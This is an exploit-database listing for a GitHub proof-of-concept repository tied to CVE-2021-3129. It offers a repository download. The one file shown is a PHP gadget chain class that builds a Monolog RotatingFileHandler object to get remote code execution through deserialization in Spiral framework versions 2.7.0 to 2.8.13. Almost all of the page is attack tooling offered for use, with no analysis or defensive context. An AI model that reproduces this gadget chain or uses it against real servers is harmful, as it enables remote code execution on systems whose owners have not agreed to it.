Exploit database

GH-ef32bec3baf31bd381c522a7d3810271

axianke/cve-2021-3129

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3129

36 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
axianke/cve-2021-3129Revision 33f41884f1a9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gadgetchains/Spiral/RCE/1/chain.php

PHP · 460 bytes
<?php

namespace GadgetChain\Spiral;

class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '2.7.0 <= 2.8.13';
    public static $vector = '__destruct';
    public static $author = 'CyanM0un';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        return new \Monolog\Handler\RotatingFileHandler($function,$parameter);
    }
}